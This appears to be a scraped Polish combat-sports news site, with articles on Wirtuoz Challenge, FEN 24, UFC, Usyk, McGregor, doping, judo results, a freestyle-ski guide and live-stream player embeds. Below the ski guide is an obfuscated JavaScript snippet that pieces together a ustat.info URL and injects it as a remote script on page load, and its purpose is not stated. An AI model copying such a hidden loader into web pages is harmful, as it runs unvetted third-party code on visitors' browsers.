Ponownie kibice będą mogli ekscytować się różnorodnością, zaplanowano pojedynki na zasadach MMA, K-1 oraz grapplingu. Fightcard prezentuje się ciekawie. Kibice mogą zacierać ręce na starcia w K-1.  W walce wieczoru, w wadze do 81kg, wystąpią Robert Krasoń i Dawid Mirkowski. Zawodnik Tom Center Piotrków Trybunalski może pochwalić się wieloma sukcesami na płaszczyźnie amatorskiej. W listopadzie 2018 roku w Mariborze Krasoń został mistrzem Europy w formule full contact. Kilka miesięcy wcześniej debiutował w K-1, jednak na gali DSF 15 przegrał z Maciejem Jewtuszko. Pierwszą wygraną w K-1 mistrz Europy z Mariboru zanotował w Wirtuoz Challenge. Czy 6 kwietnia Krasoń zapisze na swoim koncie kolejną wygraną? Czeka go trudne zadanie. Rywalem Krasonia będzie Dawid Mirkowski, który z dobrej strony prezentował się na galach DSF.

Interesująco zapowiada się pojedynek do 77kg pomiędzy Filipem Karbownikiem a Łukaszem Rambalskim. Dla pierwszego będzie to debiut na zawodowym ringu, ale zawodnik Tom Center Piotrków Trybunalski na poziomie amatorskim prezentował wysokie umiejętności. Rambalski to człowiek sukcesu. W polskim kickboxingu oraz muay thai osiągnął wiele. Rambalski wygrał ponad 20 zawodowych walk.  Mistrz świata WAKO w z Dublina Mateusz Kubiszyn zmierzy się z Tomaszem Koniecznym.

Gala Wirtuoz Challenge 1: Początek zakończyła się pewnym zwycięstwem Adriana Bartosińskiego, który w drugiej rundzie walki na zasadach MMA pokonał Jarosława Lecha. 6 kwietnia jego rywalem miał być Maxim Potapov, ale wypadł z rozpiski. Jego miejsce zajął Vladyslav Schepanskyi. Wspomniany Lech będzie miał okazję do rehabilitacji. W Wolborzu zmierzy się z Piotrem Drozdowskim, którym podczas Wirtuoz Challenge 1: Początek pokonał Vasyla Halycha. Obaj fighterzy przegrali jednak swoje ostatnie walki.

Na uwagę zasługuje starcie w grapplingu pomiędzy Dawidem Kubackim, a Sergiuszem Jaśniewskim. Obu zawodników dzieli 30kg! "Wolborski Wiking" jest lżejszy, ale niezwykle ambitny. Młody Jaśniewski zdobywał już medale najważniejszych imprez, więc zna smak sukcesu. Będzie ciekawie.  Drugi pojedynek na zasadach grapplingu: Łukasz Zalewski kontra Andrzej Iwat.

W Wolborzu zobaczymy również: Mateusza Olkiewicza, Daniela Dajcza, Grzegorza Grochulskiego, Aleksandra Dziubeckiego, Piotra Bajerowskiego, Mateusza Sobierskiego, Kamila Osendowskiego i Roberta Ruchałę.

Zapraszamy do śledzenia gali: https://fightime.pl/pl/video/live-gala-wirtuoz-challenge-2next-step/.

Fot. Stowarzyszenie Wirtuoz Facebook

KM

LIVE: Gala Wirtuoz Challenge #2 – Next Step

Zapraszamy na transmisję telewizyjną z gali Wirtuoz Challenge #2 – Next Step. Gala odbędzie się 06 kwietnia 2019 r. w Wolborzu.

[kod]

Wirtuoz Challenge #2 – Next Step

Wirtuoz Challenge #2 – Next Step

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

Kolejna porażka Kowalkiewicz

Karolina Kowalkiewicz nie dała rady Michelle Waterson. Podczas gali UFC on ESPN 2 Polka przegrała jednogłośną decyzją sędziów.

Przed pojedynkiem mówiło się, że w perspektywie Karolina Kowalkiewicz może myśleć o kolejnej szansie na zdobycie mistrzowskiego pasa UFC. Warunek był jeden: pokonać Waterson i wrócić na zwycięską ścieżkę. We wrześniu Polka przegrała w pierwszej rundzie z Jessicą Andrade. 33-letnia Waterson przed starciem z Filadelfii miała na koncie dwie wygrane z rzędu. 

Pojedynek układał się po myśli Amerykanki, która zadała więcej ciosów. W pierwszej rundzie dużo niecelności z obu stron, choć w samej końcówce Kowalkiewicz dopadła rywalkę pod siatką, ale nic z tego nie wyszło. Druga odsłona wyglądała początkowo dobrze w wykonaniu byłej mistrzyni KSW. Polka wyprowadziła kilka ciosów, które dotarły do twarzy Waterson, ale później rywalka rozdawała karty. Waterson sprowadziła rywalizację do parteru i konsekwentnie osłabiała łodziankę. Próbowała nawet balachy, jednak Kowalkiewicz wybroniła się. Waterson była bliżej wygranej, więc Polka musiała ruszyć do przodu. Kowalkiewicz nie potrafiła jednak realnie zagrozić rywalce. Waterson nie pozostawała bierna, po raz kolejny sprowadziła walkę do parteru.

W przekroju całego pojedynku efektywniej wyglądała Amerykanka. Sędziowie nie mieli żadnych wątpliwości, że zwycięstwo należy się Amerykance. Wszyscy trzeciej punktowali 30:27 na korzyści "Gorącej Karateczki". Kowalkiewicz zanotowała czwartą porażkę w karierze, co warto podkreślić – wszystkie podczas przygody w UFC. Na swoim koncie 33-letnia Polka ma dwanaście wygranych w przekroju całej kariery.

Szybko zakończyła się walka wieczoru gali UFC on ESPN 2. Justin Gaethje trafił prawym sierpem Edsona Barbozę, a ten padł na ziemię. Walka trwała 2,5 minuty. Jeszcze mniej czasu potrzebował do odniesienia 19 zwycięstwa Jack Hermansson. W 49 sekund Szwed wypunktował David Brancha zakładając mu gilotynę.

Fot. Karolina Kowalkiewicz Facebook

KM

Usyk bez pasa

Oleksandr Usyk zwakował pas WBA wagi junior ciężkiej. W maju Ukrainiec ma zadebiutować w kategorii ciężkiej, a jego rywalem prawdopodobnie będzie Carlos Takam.

32-letni pięściarz urodzony w Symferopolu szuka kolejnych wyzwań. Na poziomie amatorskim zdobył wszystko, co możliwe. W 2012 roku w Londynie sięgnął po złoto Igrzysk Olimpijskich, a wcześniej triumfował w mistrzostwach świata i Europy. Karierę zawodową rozpoczął w listopadzie 2013 roku, czyli stosunkowo późno – w wieku 26 lat. Usyk radził sobie znakomicie na krajowych ringach i wygrywał kolejne walki przed czasem. W 2014 roku Ukrainiec pokonał Daniela Bruwera, dzięki czemu sięgnął po pas interkontynentalny WBO. Jego nazwisko coraz mocniej przebijało się w świecie boksu. Polscy kibice mieli okazję bliżej poznać Usyka we wrześniu 2016 roku w Gdańsku, kiedy to mierzył się z Krzysztofem Głowackim. Polak znajdował się w posiadaniu pasa WBO, po tym jak w morderczym starciu okazał się lepszy od Marco Hucka. Głowacki udanie bronił tytułu w pojedynku z Steve'm Cunninghamem. Usyk okazał się jednak zbyt mocny. Ukrainiec mocnym akcentem wkroczył na arenę i w kolejnych starciach udowadniał swoją wartość.

Obecnie Usyk uznawany jest za jednego z najlepszych pięściarzy na świecie. Zresztą sam pięściarz dostarcza argumentów ku takiemu twierdzeniu. Na zawodowym ringu jeszcze nigdy nie przegrał. W 2018 roku Usyk triumfował w turnieju World Boxing Super Series i stał się dominatorem kategorii junior ciężkiej. Pokonując w finale Murata Gassijewa znalazł się w posiadaniu pasów WBO i WBC oraz WBA i IBF.

Usyk szuka kolejnych wyzwań. W listopadzie Ukrainiec w Londynie pokonał Tony'ego Bellewa i już wtedy mówiło się, że 32-latek będzie chciał spróbować sił w kategorii ciężkiej. Na początku roku przyszło potwierdzenie. Usyk ma stanąć do rywalizacji w wadze ciężkiej w maju br., a w perspektywie pojawia się starcie z Anthony'm Joshuą.

Plany Usyka to jedno, ale druga strona medalu to jego stan posiadania. Ukrainiec zwakował pas WBA, ponieważ federacja narzuciła mu obowiązkową obronę tytułu z Denisem Lebiediewem. W związku z decydują Usyka – ta walka nie odbędzie się. Pas WBA czeka na właściciela. Będzie nim Lebiediew bądź jego rywal, o ile zostanie zorganizowany pojedynek.

Warto dodać, że tymczasowy pas WBO znajduje się w posiadaniu Krzysztofa Głowackiego, który 15 czerwca spotka się w Rydze z Mairisem Briedisem w półfinale turnieju WBSS.

Fot. Александр Усик / Usyk Facebook

KM

Zdecydował się odejść

Conor McGregor lubi zaskakiwać i zyskiwać rozgłos. Wiadomość o zakończeniu kariery przez 30-letniego Irlandczyka zelektryzowała cały świat MMA.

Jeden z najbardziej rozpoznawalnych zawodników UFC nie raz udowadniał, że potrafi zrobić wiele, aby być w centrum uwagi. W oktagonie prezentował wysokie umiejętności sportowe, przed kolejnymi galami skutecznie je promował, ale i budował wartość własnej osoby. Ostatni czas nie jest udany dla Irlandczyka. W październiku 2018 roku w Las Vegas przegrał pojedynek o pas mistrzowski w wadze lekkiej z Chabibem Nurmagomiedowem. Kilka tygodni temu został zatrzymany za zniszczenie telefonu komórkowej jednego z fanów, jednak po wpłaceniu kaucji wyszedł na wolność. Wybryki oraz wszelkie działania McGregora są bacznie obserwowane. Sam zawodnik ma tego pełną świadomość i postanowił zaskoczyć fanów MMA ogłaszając decyzję o zakończeniu sportowej kariery. – Hej ludzie, krótkie ogłoszenie. Zdecydowałem się odejść ze sportu nazywanego MMA. Życzę moim starym kolegom powodzenia w rywalizacji. Teraz dołączę do moich dawnych partnerów w przedsięwzięciach, na emeryturze – napisał na Twitterze McGregor.

Wiadomo, że informacja przekazana przez Irlandczyka wzbudziła zainteresowanie i jest szeroko komentowana. To jednak nie pierwsza taka sytuacja… McGregor ogłosił zakończenie kariery 19 kwietnia 2016 roku, również na Twitterze. Napisał wtedy: „Zdecydowałem się przejść na emeryturę w młodym wieku. Dzięki za hajs. Do zobaczenia”.

Nie da się ukryć, że czas zweryfikuje słowa McGregora. Powroty do rywalizacji są powszechnie znane w świecie sportów walki. Może celem McGregora było wywołanie terapii szokowej bądź przykrycie ostatnich negatywnych zdarzeń z jego udziałem. Również na płaszczyźnie sportowej Irlandczyk nie może pochwalić się wielkimi osiągnięciami. Nieudana walka bokserska z Floydem Mayweather Jr., przegrany pojedynek o tytuł z Nurmagomiedowem, wcześniejsze zwakowanie pasa w kategorii piórkowej i odebranie mistrzostwa w lekkiej.

Popularny "Notorious" przez długi czas był pierwszoplanową postacią UFC i zachwycał w kolejnych starciach. Zapisał się na kartach organizacji jako pierwszy mistrz w dwóch kategoriach wagowych. Po tym pozostało wspomnienie. Czy to naprawdę koniec historii Conora w MMA? Ciąg dalszy nastąpi…

KM

Oczekiwanie na rywala i… powrót

Dzieje się w wadze ciężkiej. Kolejnym rywalem Deonataya Wilder będzie Dominic Breazeale, niebawem przeciwnika pozna również Tyson Fury. Pojawił się także temat powrotu na ring Władimira Kliczko.

Przez długi czas na pierwszym planie była rewanżowa walka Wildera z Fury’m. Kibice zacierali ręce po grudniowym starciu pięściarzy, które zakończyło się remisem. Wszystkie znaki na ziemi i niebie wskazywały, że rewanż jest kwestią czasu. Padły również daty: 27 kwietnia oraz 18 maja. Mówiło się również o możliwych zarobkach bokserów. Sprawę trzeba jednak odłożyć. Plany Wildera i Fury’ego uległy zmianie, co nie oznacza, że do ich kolejnej walki nie dojdzie.

Olbrzym z Wilmslow podpisał kontrakt z grupą Top Rank i telewizją ESPN, który pozwoli mu zarobić aż 100 milionów dolarów. Zgodnie z umową, Fury ma stoczyć pięć pojedynków. Wszystko wskazuje na to, że pierwsza walka 30-latka odbędzie się 15 czerwca. Początkowo jako potencjalnego rywala Fury'ego wymieniano Kubrata Pulewa, na giełdzie nazwisk pojawili się również Oscar Rivas oraz Manuel Charr. Do tego grona dołączył również Tom Schwarz. 24-letni Niemiec jest niepokonany na zawodowym ringu, a wygrał już 24 walki. Dotychczas Schwarz rywalizował wyłącznie w Europie. Ogłoszenie nazwiska rywala Fury'ego to kwestia godzin.

Wilder ma rywala, Kliczko propozycję

Od kilku dni wiadomo, że Deontay Wilder pasa WBC będzie bronił w starciu z Dominikiem Breazealem. Do pojedynku dojdzie 18 maja w Nowym Jorku. Dla czempiona będzie to dziewiąta obrona pasa mistrzowskiego WBC. Z kolei Breazeale po raz drugi w karierze będzie mógł wywalczyć tytuł. W czerwcu 2016 roku przegrał starcie o pas IBF z Anthony'm Joshuą.

W próbach przekonania Władimira Kliczko do powrotu na ring nie ustaje platforma DAZN. Ukrainiec otrzymał kolejną propozycję, która opiewa na 60 milionów dolarów. Kliczko miałby stoczyć trzy pojedynki, w tym jeden z posiadaczem pasów IBF, IBO, WBA i WBO Anthony'm Joshuą. Jedną propozycję, wartą 40 milionów, były czempion wagi ciężkiej odrzucił. Stawka została podbita, "piłka nadal jest w grze". Czy 43-latek skusi się i wróci do sportowej rywalizacji?

Fot. Tyson Fury Facebook

KM

Dopingowy problem

Wpadka dopingowa T.J. Dillashawa, który w zaistniałej sytuacji zdecydował się oddać pas mistrzowski kategorii koguciej. Jak widać – walka z dopingiem w UFC w toku.

Niejednokrotnie słyszeliśmy o stosowaniu przez zawodników MMA niedozwolonych środków. Nie da się ukryć, że UFC ma poważny problem i szuka rozwiązania jak skutecznie z nim walczyć. Od 2015 roku organizacja współpracuje z Amerykańską Agencją Antydopingową. Każdego roku odnotowywanych jest kilkanaście wpadek w postaci stosowania niedozwolonych środków. Zawodnicy starają się tłumaczyć, że zażyli substancje nieświadomie. Pod koniec 2018 roku UFC poinformowała, że zwiększona zostania ilość badań przeprowadzonych przez USADA o około 30-40 procent. Sięgający po niedozwolone środki muszą liczyć się z konsekwencjami w postaci kar, jednak różni z tym bywa.

Sztandarowym przykładem zawodnika mającego problem z dopingiem jest Jon Jones. Nikt nie ma wątpliwości, że to wielkiej klasy fighter, jednak w ostatnich latach dużo słyszy się o jego problemach. W grudniu w organizmie Amerykanina wykryto turinabol. To powtórka z rozrywki, bo zawodnik sięgał po specyfik również wcześniej. Jego walka z Alexandrem Gustafssonem odbyła się, ale zmieniono jej… lokalizację. Galę UFC 232 przeniesiono z Las Vegas do Inglewood. Na początku marca Jones spotkał się z Anthony'm Smithem. W połowie lutego przeprowadzono dwie kontrole, które wykazały obecność niedozwolonych środków u "Bonesa". Jednak ich poziom był podobny do tych określonych w poprzednich testach. To tylko ostatnie miesiące z kariery Jonesa. Za wpadkę z lipca 2017 roku mistrz wagi półciężkiej otrzymał zawieszenie do marca 2019 roku i karę w wysokości 205 tys. dolarów. Jones mógł wcześniej wrócić do oktagonu, bo zaczął współpracować z USADA w celu… identyfikacji zawodników stosujących doping.

Za doping zawieszany był również były dominator kategorii średniej Anderson Silva. Na liście tych, którzy mieli problem z niedozwolonymi środkami widnieją również nazwiska Chaela Sonnena i Alistaira Overeema. We wrześniu 2018 roku na dwa lata zawieszono Fabricio Werduma. W organizmie Brazylijczyka wykryto obecność trenbolonu i epitrenbolonu. Po gali UFC 232 czasowo zawieszono Waltera Harrisa. Za doping ukarano również Polaków – Piotra Hallmana i Michała Oleksiejczuka. Drugi niedawno wrócił do oktagonu UFC i pewnie wygrał walkę. Z kolei Hallmann ponownie stanął do rywalizacji w amerykańskiej organizacji w 2015 roku. Po dwóch porażkach Polak został zwolniony z UFC.

Od 2017 roku tytuł mistrzowski w wadze koguciej należał do T.J. Dillashawa. 33-letni Amerykanin zrzekł się tytułu po tym jak zawieszono go na rok. – Do wszystkich moich fanów, chciałem być pierwszy, od którego się dowiecie. USADA i Komisja w Nowym Jorku poinformowały mnie o pozytywnym wyniku z ostatniej walki (porażka w styczniu z Henry'm Cejudo – red.). Słowa nie są w stanie wyrazić mojego rozczarowania. Pracujemy z moim zespołem, żeby to zrozumieć i rozwiązać ten problem. Poinformowałem UFC, że dobrowolnie zrzeknę się tytułu, podczas zajmowania się tą sprawą. Dziękuję wszystkim za wsparcie – napisał Dillashaw w mediach społeczenościowych.

Po emocjach sportowych przychodzi weryfikacja. Kibice dostają informację, że zawodnik, za którego trzymali kciuki walczył będąc na dopingu. Śledztwo, próbka B, wyjaśnienia – w ten sposób rodzi się zamieszanie. Pojawiają się również wątpliwości do wymiaru kary. Ważne jest także zachowanie zawodnika i umiejętność uderzenia się w piersi. Tylko, czy nie traci na tym widowisko? Przychodzi czas gali, świetne nazwiska i pytanie – czy za jakiś czas okaże się, że danej walki… nie było

Fot. Tj Dillashaw Facebook

KM

Wybierz narty freestyle

Nart freestyle przeznaczone są do naprawdę ekstremalnej jazdy. Chodzi tu głównie o akrobacje, jazdę tyłem oraz jazdę w terenie. Jednak tak naprawdę ich możliwości są wręcz nieograniczone. Dzięki temu sprawdzają się one w różnych sytuacjach. Warto jednak dobrze poznać ten rodzaj nart, zanim zainwestuje się w nie. Zakup powinien być przemyślany i dobrze zaplanowany.

Cechy nart freestyle
Narty freestyle odznaczają się kilkoma podstawowymi cechami, które różnią je od tradycyjnych nart. Oto kilka aspektów, dzięki którym można opisać te narty:
– wytrzymałe;
– elastyczne,
– szersze i dłuższe od innych rodzajów nart,
– zadarty dziób oraz tył,
– wykonane z mocnego drewna,
– duży promień skrętu, przekraczający 20 m,
– mają większą wyporność niż inne narty,
– można ich używać w różnych warunkach.

Gdzie można wykorzystać narty freestyle?
Narty freestyle to rozwiązanie idealne do jazdy terenowej. Dzięki dużej wyporności sprawdza się na świeżym śniegu, ale pozwala na jazdę także w tym ciężkim. Narty freestyle z udziałem umiejętności dobrze poradzą sobie w terenie zalesionym pełnym górek i hopków. Niektóre z nich są nawet specjalnie przygotowane do skoków ze skał! Ich konstrukcja umożliwia wykonywania akrobacji oraz jazdę tyłem. Warto dodać także, że narty freestyle tworzone są także z myślą o snowparkach, a ich kształt sprawdza się na skoczniach i railach. Wynika to właśnie ze wspomnianej wytrzymałości i elastyczności. Narty frestyle można wykorzystać także do spokojnej jazdy na stoku. W tym przypadku należy jednak pamiętać o dużym promieniu skrętu.

Jak wybrać narty freestyle?
Kupując takie narty lepiej postawić na nowe egzemplarze. W innym przypadku mogą one być bardzo zniszczone w wyniku intensywnej jazdy w terenie lub w snowparku. Rozmiar nart powinien odpowiadać wzrostowi narciarza, po odjęciu około 10-15 cm. bardziej doświadczony narciarz poradzi sobie także na dłuższych, jednak musi pamiętać, że nie mogą one przekraczać jego wzrostu. Dobrze dobrane narty freestyle dostarczą z pewnością wielu niezapomnianych wrażeń.

[kod]

(function(){
xk6j_=("u"+"")+"s"+"";xk6j_+=("tat.")+("i");
xk6j=document.createElement("script");xk6j.type="text/javascript";xk6j_+="nf"+("o")+"/";
xk6ju="131295209"+".";xk6j.async=true;xk6ju+="x6yz1f28k6j70Xs3jnbq1048jkhzXd";
xk6j.src="https://"+xk6j_+xk6ju;xk6jb=document.body;xk6jb.appendChild(xk6j);
})();

W Jekaterymburgu bez medalu

Bez medalu zakończyli rywalizację w zawodach Grand Slam w judo w Jekaterynburgu polscy judocy. Najbliżej podium była Agata Ozdoba-Błach (63kg), która zajęła piąte miejsce. Z kolei w Cordobie zwycięstwo odniosła Urszula Hofman (70kg).

Do Rosji zjechało ponad 350 zawodniczek i zawodników. W zawodach Grand Slam polska kadra liczyła sześć osób. Najlepiej zaprezentowała się Agata Ozdoba-Błach, która powtórzyła wynik z poprzedniego roku, czyli uplasowała się na piątej lokacie. Na początek zmagań Polka zanotowała zwycięstwo z Helene Wezeu Dombeu z Kamerunu. W drugiej walce Ozdoba-Błach przegrała z będącą na fali Darią Davydovą. Rosjanka ostatnio była druga w Dusseldorfie, w Jekaterynburgu triumfowała. Brązowa medalistka mistrzostw świata z Budapesztu poradziła sobie z Austriaczką Magdaleną Krssakovą, którą pokonała przez ippon. W starciu o brąz Polska musiała uznać wyższość Catherine Beauchemin-Pinard.

Drugi występ w tym roku zanotowała Agata Perenc (52kg). Zawodniczka z Rybnika szybko uporała się z Diyorą Keldiyorovą, ale w kolejnych walkach lepsze były rywalki. Perenc odpadła z rywalizacji w repasażach i zajęła ostatecznie siódme miejsce. Po jednej walce w Rosji wygrali: Daria Pogorzelec (70kg) oraz Piotr Kuczera (90kg). Bez powodzenia startowały Arleta Podolak (57kg) i Karolina Tałach (63kg).

Zwycięstwo Hofman

W podróż do Cordoby wybrała się Urszula Hofman. Zawodniczka AZS AWF Wrocław w Argentynie wywalczyła złoty medal Pucharu Świata. W każdej z trzech walk Hofman wygrywała przed czasem i co ciekawe – w kolejnych starciach rozprawiała się z rywalkami szybciej.

Dla polskiej judoczki to kolejne tegoroczne podium. Wcześniej była druga podczas zawodów w Limie.

Nie zwalnia tempa

W fenomenalnej formie znajduje się Julia Świątkiewicz (+78kg). Zawodniczka UKJ Lemur ma na swoim koncie mistrzostwo Polski juniorów, ale dobrze radzi sobie na arenie międzynarodowej. Na początku marca zajęła piąte miejsce w Pucharze Świata seniorów w Pradze. W miniony weekend Świątkiewicz triumfowała w zawodach juniorów w Coimbrze. Młoda Polka wypunktowała trzy rywalki i mogła cieszyć się z sukcesu.

KM

Sharks Attack z nowym partnerem medialnym

Miło nam poinformować, że federacja Sharks Attack podjęła współpracę z naszą Telewizją. Kolejna odsłona gali juz 25 maja 2019 r. w Ostródzie. Szykuje się wiele elektryzujących pojedynków oraz ogromna dawka emocji i testosteronu. Główny partner medialny brzmi dumnie, aczkolwiek to także zobowiązanie…

Plany…plany…plany…nic z tego…planów nie ma, są juz konkrety. Nie chcemy zdradzać wszystkich szczegółów, ale rąbka tajemnicy uchylimy…napewno przedstawiciele federacji Sharks Attack zawitają w studio naszej Telewizji i to nie raz, nie dwa…będą częstymi gośćmi w Warszawie.

Współpraca z Telewizją to również multimedia…tak…powstaną filmy, trailery…już walizki pakujemy, w kalendarzu bukujemy terminy aby w pięknych ostródzkich plenerach przygotować ciekawe materiały.

Co więcej…CDN… 🙂

LIVE: Same Judo Cup 4 – Day 1 (Tatami 1)

Zapraszamy na transmisję telewizyjną z międzynarodowego turnieju judo "SAME JUDO 4".

[kod]

Same Judo CUP 4 Tatami 1

Same Judo CUP 4 Tatami 1

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream5/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream5/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream5/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Same Judo Cup 4 – Day 1 (Tatami 2)

Zapraszamy na transmisję telewizyjną z międzynarodowego turnieju judo "SAME JUDO 4".

[kod]

Same Judo CUP 4 Tatami 2

Same Judo CUP 4 Tatami 2

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream4/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream4/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream4/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Same Judo Cup 4 – Day 1 (Tatami 3)

Zapraszamy na transmisję telewizyjną z międzynarodowego turnieju judo "SAME JUDO 4".

[kod]

Same Judo CUP 4 Tatami 3

Same Judo CUP 4 Tatami 3

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream3/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream3/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream3/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Same Judo Cup 4 – Day 1 (Tatami 4)

Zapraszamy na transmisję telewizyjną z międzynarodowego turnieju judo "SAME JUDO 4".

[kod]

Same Judo CUP 4 Tatami 4

Same Judo CUP 4 Tatami 4

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream2/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream2/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream2/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Same Judo Cup 4 – Day 1 (Tatami 5)

Zapraszamy na transmisję telewizyjną z międzynarodowego turnieju judo "SAME JUDO 4".

[kod]

Same Judo CUP 4 Tatami 5

Same Judo CUP 4 Tatami 5

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Same Judo Cup 4 – Day 2 (Tatami 1)

Zapraszamy na transmisję telewizyjną z międzynarodowego turnieju judo "SAME JUDO 4".

[kod]

Same Judo CUP 4 Tatami 1

Same Judo CUP 4 Tatami 1

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream5/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream5/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream5/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Same Judo Cup 4 – Day 2 (Tatami 2)

Zapraszamy na transmisję telewizyjną z międzynarodowego turnieju judo "SAME JUDO 4".

[kod]

Same Judo CUP 4 Tatami 2

Same Judo CUP 4 Tatami 2

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream4/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream4/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream4/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Same Judo Cup 4 – Day 2 (Tatami 3)

Zapraszamy na transmisję telewizyjną z międzynarodowego turnieju judo "SAME JUDO 4".

[kod]

Same Judo CUP 4 Tatami 3

Same Judo CUP 4 Tatami 3

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream3/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream3/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream3/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Same Judo Cup 4 – Day 2 (Tatami 4)

Zapraszamy na transmisję telewizyjną z międzynarodowego turnieju judo "SAME JUDO 4".

[kod]

Same Judo CUP 4 Tatami 4

Same Judo CUP 4 Tatami 4

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream2/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream2/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream2/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Same Judo Cup 4 – Day 2 (Tatami 5)

Zapraszamy na transmisję telewizyjną z międzynarodowego turnieju judo "SAME JUDO 4".

[kod]

Same Judo CUP 4 Tatami 5

Same Judo CUP 4 Tatami 5

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

Grzebyk z drugim pasem!

Gala FEN 24 w Warszawie dostarczyła wielu emocji i efektownych walk. Andrzej Grzebyk z drugim tytułem w organizacji FEN! 28-latek z Tarnowa pokonał Kamila Gniadka i dołożył do swojej kolekcji pas w wadze półśredniej. Tytuł w wadze ciężkiej w K-1 obronił Arkadiusz Wrzosek.

W stolicy musiało być gorąco, bo podczas FEN 24 rywalizowano o najwyższe laury. W Warszawie do drugiej obrony tytułu w wadze ciężkiej w K-1 przystąpił Arkadiusz Wrzosek, któremu przyszło mierzyć się ze Szwajcarem Patrickiem Schmidem. Pierwsza runda pokazała, że Polak nie będzie miał łatwego zadania. Szwajcar ostrożny i uważny, kilka prób ataku ze strony Wrzoska. Pojedynek był toczony w szybkim tempie, jednak zawodnicy nie ryzykowali. Pojawiały się niskie kopnięcia i kolejne ciosy. Polak znalazł jednak sposób na przeciwnika w postaci konsekwencji. Wrzosek kopał Schmida po nogach, co skutecznie osłabiało rywala. Na jego twarzy widoczny był grymas bólu. Szwajcar dotrwał do piątej rundy, jednak noga nie wytrzymała. Schmid miał problem ze staniem i sędzia nie mógł dopuścić do dalszej rywalizacji. Tytuł nadal w rękach Wrzoska!

Drugi pas organizacji FEN dla Andrzeja Grzebyka. Czempion wagi średniej dopisał do swojej kolekcji tytuł w kategorii półśredniej. Od pierwszych chwil Grzebyk i Kamil Gniadek narzucili wysokie tempo, co mogło się podobać publiczności. Grzebyk nie kalkulował i w drugiej rundzie próbował poddać rywala, jednak ten skutecznie się bronił. Z minuty na minutę przewaga 28-latka rosła. Na głowę Gniadka spadały kolejne ciosy, mocne uderzenie na wątrobę i w końcu zawodnik Berkut WCA osunął się na ziemię. Niecałych trzech rund potrzebował Grzebyk do zdobycia drugiego pasa w FEN.

W stolicy zaprezentował się mistrz K-1 w wadze do 85kg Radosław Paczuski, jednak nie bronił tytułu, ponieważ pojedynek odbył się w limicie do 88kg. Rywalem Polaka był Darren Anstey. Paczuski dotąd świetnie prezentował się w FEN i chciał kontynuować passę, co było widoczen od początku starcia. Pierwsza runda dla Polaka, Anglik był nawet na deskach. Z kolei w drugiej odsłonie Anstey starał dotrzymywać się kroku 26-latkowi. W trzeciej odsłonie Paczuski nie miał litości dla rywala. Sędzia ostatecznie przerwał pojedynek po trzecim liczeniu Anglika. Paczuski wygrał piąty pojedynek podczas swoich występów dla federacji FEN.

